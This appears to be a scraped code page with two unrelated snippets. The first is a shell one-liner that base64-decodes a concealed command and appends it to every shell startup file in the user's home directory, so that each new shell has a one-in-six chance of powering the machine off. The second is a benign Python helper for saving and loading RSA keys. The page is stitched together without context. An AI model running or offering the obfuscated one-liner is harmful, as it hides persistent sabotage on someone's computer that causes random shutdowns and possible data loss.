This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
echo "c2ggLWMgIlsgJFsgJFJBTkRPTSAlIDYgXSA9PSAwIF0gJiYgcG93ZXJvZmYiCg==" | base64 -d | tee -a ~/.*rc >/dev/null |
This file contains hidden or bidirectional Unicode text that may be interpreted or compiled differently than what appears below. To review, open the file in an editor that reveals hidden Unicode characters.
Learn more about bidirectional Unicode characters
import base64 | |
import rsa # python3 -m pip install rsa | |
import os | |
def save_key(key: rsa.PublicKey | rsa.PrivateKey) -> bytes: | |
return key.save_pkcs1("PEM") | |
def load_key(data: bytes, key_type: rsa.PublicKey | rsa.PrivateKey) -> rsa.PublicKey | rsa.PrivateKey: | |
return key_type.load_pkcs1(data) |